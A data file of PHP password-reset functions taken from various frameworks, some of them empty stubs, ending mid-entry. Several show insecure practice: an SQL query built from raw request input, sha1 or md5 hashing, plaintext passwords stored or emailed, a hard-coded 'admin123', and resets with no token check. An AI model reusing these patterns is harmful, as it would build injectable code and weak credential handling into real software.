"public function resetPassword(AdminRequest $request)\n {\n $uid = $request->input('uid');\n try \n {\n // Log admin actions\n $result = $this->credentials->updatePass($uid, self::DEFAULT_PASSWORD);\n if ($result === true)\n {\n // logout all\n return \"ok\";\n }\n else\n return $result;\n }\n catch (Exception $ex)\n {\n Log::error('Admin update user password exception:' . $ex->getMessage());\n abort(500);\n }\n }",
"function reset(){\n\t\t$username = $this->input->post('username');\n\t\t$passwd = $this->input->post('rpasswd');\n\t\t$cpasswd = $this->input->post('crpasswd');\n\t\t\n\t\t$this->form_validation->set_rules('username', 'Username/Email', 'required');\n\t\t$this->form_validation->set_rules('rpasswd', 'New Password', 'required|matches[crpasswd]');\n\t\t$this->form_validation->set_rules('crpasswd', 'Confirm Password', 'required');\n\t\t\n\t\tif($this->form_validation->run() == FALSE){\n\t\t\t$this->resetpassword();\n\t\t}\n\t\telse{\n\t\t\t$array = array('username'=>$username);\n\t\t\t\n\t\t\t$edit_array = array(\n\t\t\t\t\t\t'username' => $username,\n\t\t\t\t\t\t'rpasswd' => sha1($passwd)\n\t\t\t\t\t);\n\t\t\t\n\t\t\t$this->admin_model->editItems('users', $array, $edit_array);\n\t\t}\n\t}",
"public function reset_pass() {\n \t\t$email = $this->input->post('email');\n\n\t $pass = $this->generate_pass(16);\n\t $hash = password_hash($pass, B_CRYPT); // http://php.net/manual/en/function.password-hash.php\n\n\t $this->load->model('users_table');\n\t $this->users_table->update_password($email, $hash);\n\n\t $this->send_email($email, $pass, \"2\");\n \t}",
"public function resetAndUpdatePassword() {\n $this->validate ( $this->request, $this->getRules () );\n $user = User::where ( 'email', $this->request->email )->first ();\n \n if (!empty($user) && count ( $user->toArray() ) > 0) {\n $user->password = Hash::make ( (true) ? config()->get('app.user_password'): $this->generatePassword() );\n \n $user->save ();\n $this->email = $this->email->fetchEmailTemplate ( 'admin_forgot' );\n $this->email->subject = str_replace(['##SITE_NAME##'], [config ()->get ( 'settings.general-settings.site-settings.site_name' )], $this->email->subject);\n $this->email->content = str_replace (['##USERNAME##','##FORGOTPASSWORD##'],[$user->name,'admin123'],$this->email->content );\n $this->notification->email ( $user, $this->email->subject, $this->email->content );\n return true;\n } else {\n return false;\n }\n }",
"public function doResetPassword()\n {\n // if user is logged in, do not let him access this page\n if( Session::isLoggedIn() )\n {\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $userID = SCMUtility::cleanText($_POST['userID']);\n $userNewPassword = SCMUtility::stripTags($_POST['new_reset_password']);\n\n // validate\n $validator = Validator::make(array('password'=>$userNewPassword),User::$rulesPasswordChange,User::$rulesMessages);\n\n if($validator->fails())\n {\n SCMUtility::setFlashMessage('Password reset failed. Error: '.$validator->messages()->first(),'danger');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n // update user password\n $user = User::find($userID);\n\n if( ! $user )\n {\n SCMUtility::setFlashMessage('Sorry, we cannot find any user associated with that email address.','danger');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $user->password = $userNewPassword;\n $user->save();\n\n SCMUtility::setFlashMessage('Your password have been reset. You can now login using your new password.','success');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }",
"function reset_password($user, $new_pass)\n {\n }",
"public function resetPassword(){\n $admin = $this->request->admin;\n $password = $this->request->password;\n $new_password = $this->request->new_password;\n if(strlen($password) >= 8 && $password === $new_password){\n $admin->password = $this->request->password;\n $admin->save();\n return response()->json(true);\n }\n }",
"public function resetPassword(){\n $admin = $this->request->admin;\n $password = $this->request->password;\n $new_password = $this->request->new_password;\n if(strlen($password) >= 8 && $password === $new_password){\n $admin->password = $this->request->password;\n $admin->save();\n return response()->json(true);\n }\n }",
"public function ResetPassword() {\n\t\t\t$strPassword = strtolower(substr(md5(microtime()), 4, 8));\n\t\t\t$this->SetPassword($strPassword);\n\t\t\t$this->PasswordResetFlag = true;\n\t\t\t$this->Save();\n\n\t\t\t// Setup Token Array\n\t\t\t$strTokenArray = array(\n\t\t\t\t'NAME' => $this->strFirstName . ' ' . $this->strLastName,\n\t\t\t\t'USERNAME' => $this->strUsername,\n\t\t\t\t'PASSWORD' => $strPassword\n\t\t\t);\n\n\t\t\t// Send Message\n\t\t\tQApplication::SendEmailUsingTemplate('forgot_password', 'Qcodo.com Credentials', QCODO_EMAILER,\n\t\t\t\t$this->SmtpEmailAddress, $strTokenArray, true);\n\t\t}",
"public function resetpasswordAction(){\n $key = urldecode($this->getRequest()->getParam('key'));\n $admin_id = $this->getRequest()->getParam('user_id');\n if($key && $admin_id){\n //check hash key exists and is not expired\n $recoveryEmailsMapper = new Application_Model_Table_AdminUserRecoveryEmails();\n $recoverEmail = $recoveryEmailsMapper->fetchByActivationKey($key, $admin_id);\n if(!$recoverEmail){\n //not found so redirect\n $this->_helper->redirector->goToRouteAndExit(array(\n 'module' => 'default',\n 'controller' => 'index',\n 'action' => 'index',\n ), 'default', true);\n }\n\n $form = new Admin_Form_Resetpassword();\n if ($this->getRequest()->isPost()) {\n if ($form->isValid($this->_request->getPost())) {\n $values = $form->getValues();\n //update password\n $adminMapper = new Application_Model_Table_AdminUsers();\n $customer = $adminMapper->fetchRow(\"admin_user_id = $recoverEmail->admin_user_id\");\n $customer->hashPassword($values['new_password']);\n $customer->save();\n\n //remove from recovery email so that password cannot be reset again\n $recoveryEmailsMapper->delete(\"admin_user_id = $recoverEmail->admin_user_id\");\n $this->_helper->FlashMessenger->addMessage('Your password has been reset, you may now login using your new password' , 'successful');\n $this->_helper->redirector->goToRouteAndExit(array(), 'admin-dashboard', true);\n }\n }\n $this->view->form = $form;\n } else {\n //redirect as not valid\n $this->_helper->redirector->goToRouteAndExit(array(\n 'module' => 'default',\n 'controller' => 'index',\n 'action' => 'index',\n ), 'default', true);\n }\n }",
"public function reset_password($user_id)\n\t{\n\t\t\n\t}",
"public function resetpasswordAction() {\n\n }",
"protected function changePassword() {}",
"public function reset() {\n $this->layout = 'custom';\n\n if ($this->request->is('post')) {\n $password = $this->request->data['password'];\n $cofirm_password = $this->request->data['confirm_password'];\n if ($password != $cofirm_password) {\n $notSucces = 'Your password is not matching with confirm password.';\n $this->set('notSucces', $notSucces);\n $this->render('/Users/reset');\n }\n\n $id = $_SESSION['Auth']['User']['id'];\n $data['password'] = $this->request->data['password'];\n if (!empty($password)) {\n\n $update = $this->User->updateUser($id, $data);\n\n $this->redirect(array(\n 'action' => 'login',\n ));\n }\n } else {\n $notSucces = 'Your password is not matching with confirm password.';\n\n $this->set('notSucces', $notSucces);\n $this->render('/Users/reset');\n }\n }",
"public function resetUserPassword()\n\t{\n\t\t# make the call to the API\n\t\t$response = App::make('ApiClient')->post('user/password?forgotten=true', Input::only('email'));\t\n\n\t\t# if the call was successful we'll want to give some feedback to the user\n\t\tif(isset($response['success'])) \n\t\t{\n\t\t\tSession::flash('success', $response['success']['data']);\n\t\t}\n\t\t# similarly if it failed, but this time also show the previous form data\n\t\telse {\n\t\t\t# save the API response to some flash data\n\t\t\tSession::flash('reset-errors', getErrors($response));\n\n\t\t\t# also flash the input so we can replay it out onto the reg form again\n\t\t\tInput::flash();\n\t\t}\t\t\n\n\t\t# ... and show the reset form again\n\t\treturn Redirect::to('forgotten-password');\n\t}",
"public function resetPassword()\n\t{\n\t\tif($this->session->userdata('VB_USER_ID') <> ''):\n\t\t\tredirect(base_url().'my-profile');\n\t\tendif;\n\t\t$data['error'] \t\t\t\t\t\t= \t'';\n\t\tif($this->input->post('otp')): \n\t\t\t$userData\t\t=\t$this->common_model->checkOTP(trim($this->session->userdata('VB_FORGOT_USER_PHONE')),trim($this->input->post('otp')),'users','user_password_otp');\n\t\t\tif($userData <> \"\"): \n\t\t\t\tif($userData['status'] == 'A'):\n\t\t\t\t\t$param['user_phone_otp']\t\t=\t'';\n\t\t\t\t\t$param['password']\t\t\t\t=\t$this->common_model->encriptPassword(trim($this->input->post('password')));\n\t\t\t\t\t$this->common_model->editData('vb_users',$param,'user_id',$userData['user_id']);\n\t\t\t\t\t$this->session->unset_userdata('VB_FORGOT_USER_PHONE');\n\t\t\t\t\techo \"success\";die;\n\t\t\t\telse:\n\t\t\t\t\techo \"blocked\";die;\n\t\t\t\tendif;\n\t\t\telse:\n\t\t\t\techo \"wrongotp\";die;\n\t\t\tendif;\n\t\tendif;\n\t\t$this->layouts->set_title(stripcslashes('Reset Password | VBloggers'));\n\t\t$this->layouts->set_keyword(stripcslashes('Reset Password | VBloggers'));\n\t\t$this->layouts->set_description(stripcslashes('Reset Password | VBloggers'));\n\t\t\n\t\t$this->layouts->login_view('user/resetpassword',array(),$data);\n\t}",
"public function onResetPassword(AdminEvent $event)\n {\n $user = $event->{AdminEvent::ENTITY};\n $password = $event->{AdminEvent::PASSWORD};\n $this->mailUser(\n $user->getEmail(),\n $user->getRealname(),\n $this->_(self::EMAIL_RESET_SUBJECT),\n $this->_(self::EMAIL_RESET_BODY,[\n \"username\"=>$user->getUsername(),\n \"password\"=>$password\n ])\n );\n return;\n }",
"public function resetPassword()\n\t{\n\n\t\tif ($this->common->isLoggedIn()) {\n\t\t\t$this->url->redirect('dashboard');\n\t\t}\n\n\t\t$data['error'] = '';\n\t\tif (isset($this->session->data['error'])) {\n\t\t\t$data['error'] = $this->session->data['error'];\n\t\t\tunset($this->session->data['error']);\n\t\t}\n\n\t\t$data['success'] = '';\n\t\tif (isset($this->session->data['success'])) {\n\t\t\t$data['success'] = $this->session->data['success'];\n\t\t\tunset($this->session->data['success']);\n\t\t}\n\t\t$data['mail'] = $this->url->get('id');\n\t\t$data['hash'] = $this->url->get('temp');\n\t\t\n\t\tif (empty($data['mail']) && empty($data['hash']) ) {\n\t\t\t$this->url->redirect('login');\n\t\t}\n\t\t$this->loginModel = new Login();\n\t\tif (!$this->loginModel->checkEmailHash($data)) {\n\t\t\t$this->url->redirect('login');\n\t\t}\n\t\t\n\t\t$data['info'] = $this->commons->getInfo();\n\n\t\t/*Load Language File*/\n\t\trequire DIR_BUILDER.'language/'.$data['info']['language'].'/common.php';\n\t\t$data['lang']['common'] = $lang;\n\t\trequire DIR_BUILDER.'language/'.$data['info']['language'].'/login.php';\n\t\t$data['lang']['login'] = $login;\n\t\t\n\t\t$data['token'] = hash('sha512', TOKEN . TOKEN_SALT);\n\t\t$data['action'] = URL.DIR_ROUTE.'reset';\n\t\t$this->view->render('auth/reset_password.tpl', $data);\n\t}",
"function resetPassword($userEmail){\n\n}",
"private function user_reset_password(){\n\t\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t\t$this->response('',406);\n\t\t\t}\n\n\t\t\tif(!isset($_POST['password']) ) {\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Parameter password is require\");\n\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t}\n\t\t\tif(!isset($_POST['confirm_password']) ) {\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Parameter confirm_password are require\");\n\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t}\n\n\t\t\t$user_id = $this->_request['table_doctor_id'];\n\t\t\t$password = $this->_request['password'];\n\t\t\t$cpassword = $this->_request['confirm_password'];\n\n\t\t\tif(!empty($password) && !empty($cpassword) ) {\n\n\t\t\t\tif($password!=$cpassword) {\n\t\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Password and Confirm password is not matched\");\n\t\t\t\t\t$this->response($this->json($error), 200);\n\n\t\t\t\t} else{\n\t\t\t\t\t\t$hashed_password = sha1($password);\n\t\t\t\t\t\t$sql = \"UPDATE table_user SET user_password='\".$hashed_password.\"' WHERE user_id='\".$user_id.\"' \";\n\t\t\t\t\t\t$stmt = $this->db->prepare($sql);\n\t\t\t\t\t\t$update = $stmt->execute();\n\t\t\t\t\t\t$fetchData = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\n\t\t\t\t\t\tif(count($update)==1){\n\t\t\t\t\t\t\t$error = array('status' => \"Success\", \"msg\" => \"Profile Updated\");\n\t\t\t\t\t\t\t$this->response($this->json($error), 200);\n\t\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t}",
"public function postReset()\n {\n /////////////////////////////////////////\n // Make validation rules and validates //\n /////////////////////////////////////////\n $rules= [\n 'oldpassword' => 'required',\n 'password' => 'required|confirmed',\n ];\n\n $validator = Validator::make(Input::all(),$rules);\n \n // Input valid?\n if ( ! $validator->passes()) {\n Flash::error($validator->messages());\n return Redirect::back();\n }\n\n $checkPassword = array(\n 'email' =>Auth::user()->email, \n 'password'=>Input::get('oldpassword'),\n 'active' =>1 \n );\n\n //Old password valid?\n if( !$errors=Auth::attempt($checkPassword)){\n\n Flash::error('Old password you provided is not valid');\n return Redirect::back();\n }\n \n \n $credentials = array('email' => $checkPassword['email']);\n\n $user = User::find(Auth::user()->id);\n $user->password = Hash::make(Input::get('password'));\n\n if ($user->save()) {\n Flash::success('Your password has been changed');\n return Redirect::to('publisher');\n }\n \n dd('byanze!');\n Auth::login($user);\n Flash::success('You password has been changed successfully ');\n return Redirect::to('publisher');\n\n }",
"public function actionResetPassword()\n\t{ \n\t\t$model = new Users;\n\t\tif(isset($_GET['id']))\n\t\t{\n\t\t\t$id = $_GET['id'];\n\t\t\t$random_password = $model->randomPassword();\n\t\t\t$model = $model->restPasswordverification($id);\n\t\t\t$unhashedpassword = $random_password;\t\t\t\n\t\t\t$model->password = md5(trim($unhashedpassword));\n\t\t\tif($model->save()){\n\t\t\t\t$et = new EmailTemplates;\n\t\t\t\t$data = $et->getData(9);\n\t\t\t\t// parse Body\n\t\t\t\t$search = array('{name}', '{username}', '{password}');\n\t\t\t\t$replace = array($model->name(), $model->username, $unhashedpassword);\n\t\t\t\t$body = str_ireplace($search, $replace, $data->body);\n\t\t\t\t// ends parse Body\n\t\t\t\t$email_data = array(\n\t\t\t\t\t'body'=> $body,\n\t\t\t\t\t'address'=> $model->email,\n\t\t\t\t\t'ccaddress'=> '',\n\t\t\t\t\t'bccaddress'=> '',\n\t\t\t\t\t'subject' => $data->subject\n\t\t\t\t);\n\n\t\t\t\t// send the email\n\t\t\t\t$this->sendMail($email_data);\n\t\t\t\tYii::app()->user->setFlash('admin','<div align=\"center\" style=\"color:#78AB46;\"><strong><h4>Message has been sent to '.$model->email.'</h4></strong></div>');\n\t\t\t\t$this->redirect(array('admin','id'=>$model->id));\n\t\t\t}\n\t\t}\n\t}",
"public function resetPassword(){\n $input = Input::all();\n $password = Input::get('password');\n\n \t$input = Input::all();\n $v = User::validate_forget_password($input);\n\n if( !empty($v) && $v->passes()){\n User::where('email', '=' ,$input['email'])\n ->update(array('password' => Hash::make($input['password']), 'account_token' => User::createAccountToken()));\n return Redirect::to('/');\n }\n }",
"public function resetPasswordFromLogin()\r\n {\r\n $email = Input::get('EMAIL');\r\n $lead = Lead::where('email',$email)->first();\r\n if($lead!=null)\r\n {\r\n $lead->password = substr(md5(microtime().rand()), 0, 8);\r\n $lead->save();\r\n\r\n //Create Transaction\r\n Transaction::createTransaction('', $lead->id, '',\"RESTORE-PASSWORD\", '', '', $lead->email, '', '', $lead->phone, '');\r\n\r\n //send the new password by email\r\n mail($lead->email, 'PATENT SERVICES NEW PASSWORD', 'Your new Password is: '.$lead->password);\r\n\r\n//\r\n return \"1\";\r\n }\r\n return \"-1\";\r\n }",
"public function resetPasswordAction()\n\t{\n\n\t\t$data = $this->url->post;\n\t\tif (!isset($_POST['reset']) || !$this->validateReset($data)) {\n\t\t\t$this->session->data['error'] = 'Warning: Please enter valid data in input box.';\n\t\t\t$this->url->redirect('login');\n\t\t}\n\n\t\t$token = $this->url->post('_token');\n\t\t$token_check = hash('sha512', TOKEN . TOKEN_SALT);\n\t\tif (hash_equals($token_check, $token) === false ) {\n\t\t\t$this->session->data['error'] = 'Warning: Invalid token. Please try again.';\n\t\t\t$this->url->redirect('login');\n\t\t}\n\t\t$this->loginModel = new Login();\n\t\t$check = $this->loginModel->checkEmailHash($data);\n\t\tif (empty($check)) {\n\t\t\t$this->url->redirect('login');\n\t\t} else {\n\t\t\t$result = $this->loginModel->updatePassword($data);\n\t\t\t$this->session->data['success'] = 'Success: Your Password Changed Succesfully.';\n\t\t\t$this->url->redirect('login');\n\t\t}\n\n\t\t\n\t}",
"public function resetAction()\n\t{\n\t\t// validate that we have the necessary unique_id\n\t\tif (empty($this->_params['id']) || strlen($this->_params['id']) != 32) {\n\t\t\t$this->_helper->FlashMessenger(array('error' => 'You do not have access to view the previous page. Please verify your URL is correct and try again.'));\n\t\t\t$this->_redirect('/admin/');\n\t\t}\n\n\t\t// validate that the unique_id exists and hasn't expired\n\t\t$AuthUser = new Auth_Model_User();\n\t\t$status_code = $AuthUser->reset_password($this->_params['id']);\n\t\t$this->_validateStatusCode($status_code);\n\n\t\t// handle login request\n\t\t$request = $this->getRequest();\n\t\tif ($request->isPost()) {\n\n\t\t\t// ensure we have a valid token\n\t\t\tif ($this->isCsrfTokenValid()) {\n\t\t\t\t// validate the return code\n\t\t\t\t$status_code = $AuthUser->reset_password($this->_params['id'], $request->getPost());\n\t\t\t\t$this->_validateStatusCode($status_code);\n\n\t\t\t\t// on success\n\t\t\t\t$this->_helper->FlashMessenger(array('success' => 'Your password has successfully been reset.'));\n\t\t\t\t$this->_redirect('/admin/');\n\t\t\t} else {\n\t\t\t\t$this->_helper->FlashMessenger(array('error' => 'You session has expired.'));\n\t\t\t}\n\n\t\t}\n\n\t\t$this->view->id = $this->_params['id'];\n\t\t$this->view->title = \"Reset Password\";\n\t\t$this->disableLayout();\n\t}",
"public function forget_password_post()\n {\n $admin = User::where('email', request('email'))->first();\n if(!empty($admin))\n {\n $token = app('auth.password.broker')->createToken($admin);\n $data = DB::table('password_resets')->insert([\n 'email' => $admin->email,\n 'token' => $token,\n 'created_at' => Carbon::now()\n ]);\n\n Mail::to($admin->email)->send(new reset_password(['data' => $admin, 'token' => $token]));\n return back();\n }\n }",
"public function resetPasswordAction() {\n\t\t$this->view->assign('account', $this->accountManagementService->getProfile());\n\t}",
"public function forgotpasswordAction() {\n $form = new Admin_Form_ResendPassword();\n if ($this->getRequest()->isPost()) {\n if ($form->isValid($this->_request->getPost())) {\n //check user is registered\n $values = $form->getValues();\n $siteUsersMapper = new Application_Model_Table_AdminUsers();\n $exists = $siteUsersMapper->fetchByUsername($values['email_address']);\n if($exists){\n //user exists\n $recoveryEmailsMapper = new Application_Model_Table_AdminUserRecoveryEmails();\n $recoveryEmail = $recoveryEmailsMapper->createRow();\n $recoveryEmail->admin_user_id = $exists->admin_user_id;\n $recoveryEmail->email_address = $exists->username;\n $recoveryEmail->hashActivationKey();\n $recoveryEmail->save();\n }\n $this->_helper->FlashMessenger->addMessage('You password has been reset, please check your email' , 'successful');\n $this->_helper->redirector->goToRouteAndExit(array(), 'admin-dashboard', true);\n }\n }\n $this->view->form = $form;\n }",
"public function resetPassword()\n {\n // So redirect.\n if (!$this->session->resetId) {\n $this->redirect->url('/users/login/');\n }\n\n $this->load->library('Validate', $this, true);\n $this->data->title = 'Reset Password';\n $this->_loadView(__FUNCTION__);\n }",
"public function adminResetPassword(){\r\n require('src/View/admin/login/resetPassword.php');\r\n }",
"public function actionPasswordReset()\n\t{\n\t\t$this->render('passwordReset');\n\t}",
"public function reset_password($password, $admin_id)\n\t{\n\t\t$password = $this->_hash($password);\n\n\t\t$this->CI->db->where('admin_id', $admin_id)\n\t\t\t\t\t ->set('password', $password)\n\t\t\t\t\t ->update('admin');\n\n\t\t$this->_delete_hash();\n\t}",
"function reset_password() {\n\t\t$username = $this->uri->segment(3);\n\t\t$key = $this->uri->segment(4);\n\n\t\t// Reset password\n\t\tif ($this->dx_auth->reset_password($username, $key)) {\n\t\t\t$this->data['auth_message'] = 'You have successfully reset you password, '.anchor(site_url($this->dx_auth->login_uri), 'Login');\n\t\t\t$this->load->view($this->dx_auth->reset_password_success_view, $this->data);\n\t\t} else {\n\t\t\t$this->data['auth_message'] = 'Reset failed. Your username and key are incorrect. Please check your email again and follow the instructions.';\n\t\t\t$this->load->view($this->dx_auth->reset_password_failed_view, $this->data);\n\t\t}\n\t}",
"public function reset_password()\n {\n $view_data = [\n 'form_errors' => []\n ];\n\n if ($this->input->is_post()) {\n $res = $this->_api('user')->update_password( [\n 'password' => $this->input->post('password'),\n 'confirm_password' => $this->input->post('confirm_password'),\n 'token' => $this->input->get('token'),\n 'id' => $this->input->get('id')\n ]);\n\n // Redirect if reset password successful\n if($res['submit']) {\n redirect('/login/reset_password_complete');\n return;\n }\n\n $view_data = [\n 'form_errors' => isset($res['invalid_fields']) ? $res['invalid_fields'] : [],\n 'errmsg' => isset($res['errmsg']) ? $res['errmsg'] : null,\n 'post' => $this->input->post()\n ];\n }\n\n $this->_render($view_data);\n }",
"public function resetPassword(){\n return $this->repository->resetPassword();\n }",
"public function ResetPassword( )\n {\n\t\t\t$dataArray = array(\"email\"=>$this->email, \"password\"=>$this->password );\n \n $response = ServiceAPIUtils::CallAPIService( $dataArray,\"/User/ResetPassword/123\", \"json\" );\n\t\t\t\n\t\t\treturn $response;\n }",
"public function admin_reset() {\n\n\t\tif(Input::_method()) {\n\t\t\t$id = Input::post('uid');\n\n\t\t\t$res = $this->_password_reset->_validate_userid($id);\n\n\t\t\tif($res > 0) {\n\n\t\t\t\t$_res = $this->_password_reset->getData_id($id);\n\n\t\t\t\t$key = $this->random_string('alnum',100);\n\n\t\t\t\t$_success = array(\n\t\t\t\t\t'userid' => $_res['user_id'],\n\t\t\t\t\t'token' => $key,\n\t\t\t\t\t'datetime' => date(\"Y-m-d H:i:s\")\n\t\t\t\t);\n\n\t\t\t\t$body = $this->admin_mail_body($_res,$key);\n\n\t\t\t\t$subject = Constant::PASSWORD_RETRIEVAL;\n\n\t\t\t\t$from = 'reset-password@'.trim($_SERVER['SERVER_NAME']);\n\n\t\t\t\t$this->_email->setFrom($from,'Admin Inventory');\n\t\t\t\t$this->_email->setTo($_res['email']);\n\t\t\t\t$this->_email->setSubject(Constant::PASSWORD_RETRIEVAL);\n\t\t\t\t$this->_email->setMessage($body);\n\n\t\t\t\t$success = $this->_password_reset->_insert_token($_success);\n\n\t\t\t\tif($success) {\n\t\t\t\t\tif($this->_email->send()) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\t\t\t\t\texit;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\t\t\t\texit;\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t}",
"function request_admin_password_change() {\n\t\tif (isset($this->data['User']['forgot_password_email'])) {\n\t\t\t$forgot_password_email = $this->data['User']['forgot_password_email'];\n\t\t\t\n\t\t\t\n\t\t\t// check to make sure the email is a valid email for a user\n\t\t\t$change_password_user = $this->User->find('first', array(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'User.email_address' => $forgot_password_email,\n\t\t\t\t\t'User.admin' => true,\n\t\t\t\t),\n\t\t\t\t'contain' => false,\n\t\t\t));\n\t\t\t\n\t\t\tif (empty($change_password_user)) {\n\t\t\t\t$this->Session->setFlash(__('Email does not belong to a valid user', true), 'admin/flashMessage/warning', array(), 'auth');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(__('Check your email to change your password', true), 'admin/flashMessage/success', array(), 'auth');\n\t\t\t\t$this->FotomatterEmail->send_forgot_password_email($this, $change_password_user);\n\t\t\t}\n\t\t}\n\t\t$this->redirect('/admin');\n\t}",
"public function getResetAdmin()\n {\n return View ('authpages.admin-reset');\n }",
"public function doResetPassword()\r\n {\r\n $repo = App::make('UserRepository');\r\n $input = array(\r\n 'token' => Input::get('token'),\r\n 'password' => Input::get('password'),\r\n 'password_confirmation' => Input::get('password_confirmation'),\r\n );\r\n\r\n // By passing an array with the token, password and confirmation\r\n if ($repo->resetPassword($input)) {\r\n $notice_msg = Lang::get('confide::confide.alerts.password_reset');\r\n\r\n return Redirect::action('UserController@login')\r\n ->with('notice', $notice_msg);\r\n } else {\r\n $error_msg = Lang::get('confide::confide.alerts.wrong_password_reset');\r\n\r\n return Redirect::action('UserController@resetPassword', array('token' => $input['token']))\r\n ->withInput()\r\n ->with('error', $error_msg);\r\n }\r\n }",
"public function reset($id)\n {\n //dd('reset: '.$id);\n $pass = RandomPass::random_str(6);\n\n $user = User::find($id);\n $user->password = Hash::make($pass);\n $user->access = false;\n if($user->update()){\n return redirect('/users')->with(['success' => 'Senha resetada com sucesso!', 'name' => $user->name, 'email' => $user->email, 'pass' => $pass]);\n } else {\n return back()->with('message', 'Falha no processo!');\n }\n }",
"public function resetPassword()\n {\n $model_data = array(\n 'token' => $this->input->post('token'),\n 'password' => $this->input->post('password'),\n 'con_password' => $this->input->post('con_password'),\n );\n $status = $this->authentication_worker->resetPassword($model_data);\n \n if ($status == \"true\") {\n $this->mViewData['data'] = array(\n 'pageName' => \"LOGIN\",\n );\n $this->session->set_flashdata('success_msg', 'Senha alterada com sucesso');\n redirect('home/Entrar');\n } else {\n $this->session->set_flashdata('error_msg', 'Erro ao redefinir a senha');\n $this->mViewData['data'] = array(\n 'pageName' => \"LOGIN\",\n );\n redirect('home/Entrar');\n }\n }",
"public function do_reset_password()\n {\n $input = array(\n 'token'=>Input::get( 'token' ),\n 'password'=>Input::get( 'password' ),\n 'password_confirmation'=>Input::get( 'password_confirmation' ),\n );\n\n // By passing an array with the token, password and confirmation\n if( Confide::resetPassword( $input ) )\n {\n $notice_msg = Lang::get('confide::confide.alerts.password_reset');\n return Redirect::action('UserController@login')\n ->with( 'notice', $notice_msg );\n }\n else\n {\n $error_msg = Lang::get('confide::confide.alerts.wrong_password_reset');\n return Redirect::action('UserController@reset_password', array('token'=>$input['token']))\n ->withInput()\n ->with( 'error', $error_msg );\n }\n }",
"public function actionReset()\n {\n if (!$this->module->resetPassword) {\n throw new ForbiddenHttpException();\n }\n\n $this->registerAsset(Login::class);\n\n $model = new ResetPasswordForm();\n $error = false;\n if ($model->load(Yii::$app->request->post()) && $model->validate()) {\n $user = User::findByEmail($model->email);\n if ($user) {\n $user->password_verification_token = Yii::$app->security->generateRandomString();\n $user->password_verification_token_timestamp = time() + $this->module->resetPasswordExpirationTime;\n if ($user->update(true, ['password_verification_token_timestamp' , 'password_verification_token'])) {\n // token and timestamp has been stored. send mail.\n $mail = Yii::$app->mail;\n $mail->layout = false; // ensure layout is disabled even when enabled in application config\n $send = $mail\n ->compose(Module::t('reset_email_subject'), User::generateResetEmail(\n Url::toRoute(['/admin/login/password-reset', 'token' => $user->password_verification_token, 'id' => $user->id], true),\n Module::t('reset_email_subject'),\n Module::t('reset_email_text')\n ))\n ->address($user->email)\n ->send();\n\n if (!$send) {\n $error = true;\n $model->addError('email', Module::t('reset_mail_error'));\n }\n }\n }\n\n if (!$error) {\n Yii::$app->session->setFlash('reset_password_success');\n return $this->refresh();\n }\n }\n\n return $this->render('reset', [\n 'model' => $model,\n ]);\n }",
"public function resetPassword() {\n\n if(empty($_SESSION['user'])) {\n header('Location: index.php?c=dashboard&m=index');\n }\n\n $usersCollection = new UserCollection();\n $user_id = stripslashes(htmlentities(trim($_GET['user_id'])));\n $user = $usersCollection->getAll(array('id' => $user_id));\n\n $data = array();\n\n $errors = array();\n\n $fillterArray = array();\n\n if(isset($_POST['submit'])) {\n\n $insertInfo = array(\n\n 'password' => (isset($_POST['password']))? $this->cleanSubmitInput($_POST['password']) : '',\n 'password_confirm' => (isset($_POST['password_confirm']))? $this->cleanSubmitInput($_POST['password_confirm']) : ''\n\n );\n\n //Filter data again using cleanFinalInput()\n $fillterArray = $this->cleanFinalInput($insertInfo);\n $errors = $this->validateUserInput($insertInfo);\n\n if(empty($errors)) {\n $user_id = stripslashes(htmlentities(trim($_GET['user_id'])));\n\n $usersEntity = new UsersEntity();\n $usersEntity->setId($user_id);\n $usersEntity->setUsername($user[0]->getUsername());\n $usersEntity->setPassword(sha1($fillterArray['password']));\n $usersEntity->setEmail($user[0]->getEmail());\n $usersEntity->setFirstName($user[0]->getFirstName());\n $usersEntity->setConfirmCode($user[0]->getConfirmCode());\n $usersEntity->setActive($user[0]->getActive());\n $this->sendNewPasswordEmail($fillterArray['password'],$user[0]->getEmail(),$user[0]->getUsername());\n\n $usersCollection = new UserCollection();\n $usersCollection->save($usersEntity);\n\n unset($_SESSION['user']);\n unset($_SESSION['front_logged_in']);\n\n header('Location:index.php?c=profile&m=successPassword');\n exit;\n }\n }\n\n $data['errors'] = $errors;\n $this->loadFrontView('profile/resetPassword',$data);\n }",
"public function resetLogin()\n {\n //\n }",
"function forgotPassword(){\n \n $this->viewBuilder()->layout('admin_login');\n // Loaded Admin Model\n $usersModel = TableRegistry::get('Users');\n $userData = $usersModel->newEntity();\n \n if($this->request->is('post')==1){\n if(isset($this->request->data['email']) && $this->request->data['email']!=''){\n $user = $usersModel->find('all',['conditions' => ['Users.email' => $this->request->data['email']]]);\n $getAdminData = $user->first();\n \n if(empty($getAdminData)){\n $this->Flash->error(__('Email id not register with us, try again'));\n }else{\n date_default_timezone_set(\"UTC\");\n $dateNow = date('Y-m-d H:i:s');\n\n $new_pass_key = md5(rand().microtime());\n\n $userData->id = $getAdminData->id;\n $userData->new_pass_key = $new_pass_key;\n $userData->new_password_requested = $dateNow;\n //save adnin data \n if($usersModel->save($userData)){\n $adminId = base64_encode($getAdminData->email);\n \n $replace = array('{user}','{link}');\n\n $link = HTTP_ROOT.'Users/reset-password/'.urlencode($adminId).'/'.urlencode($new_pass_key);\n $linkOnMail = '<a 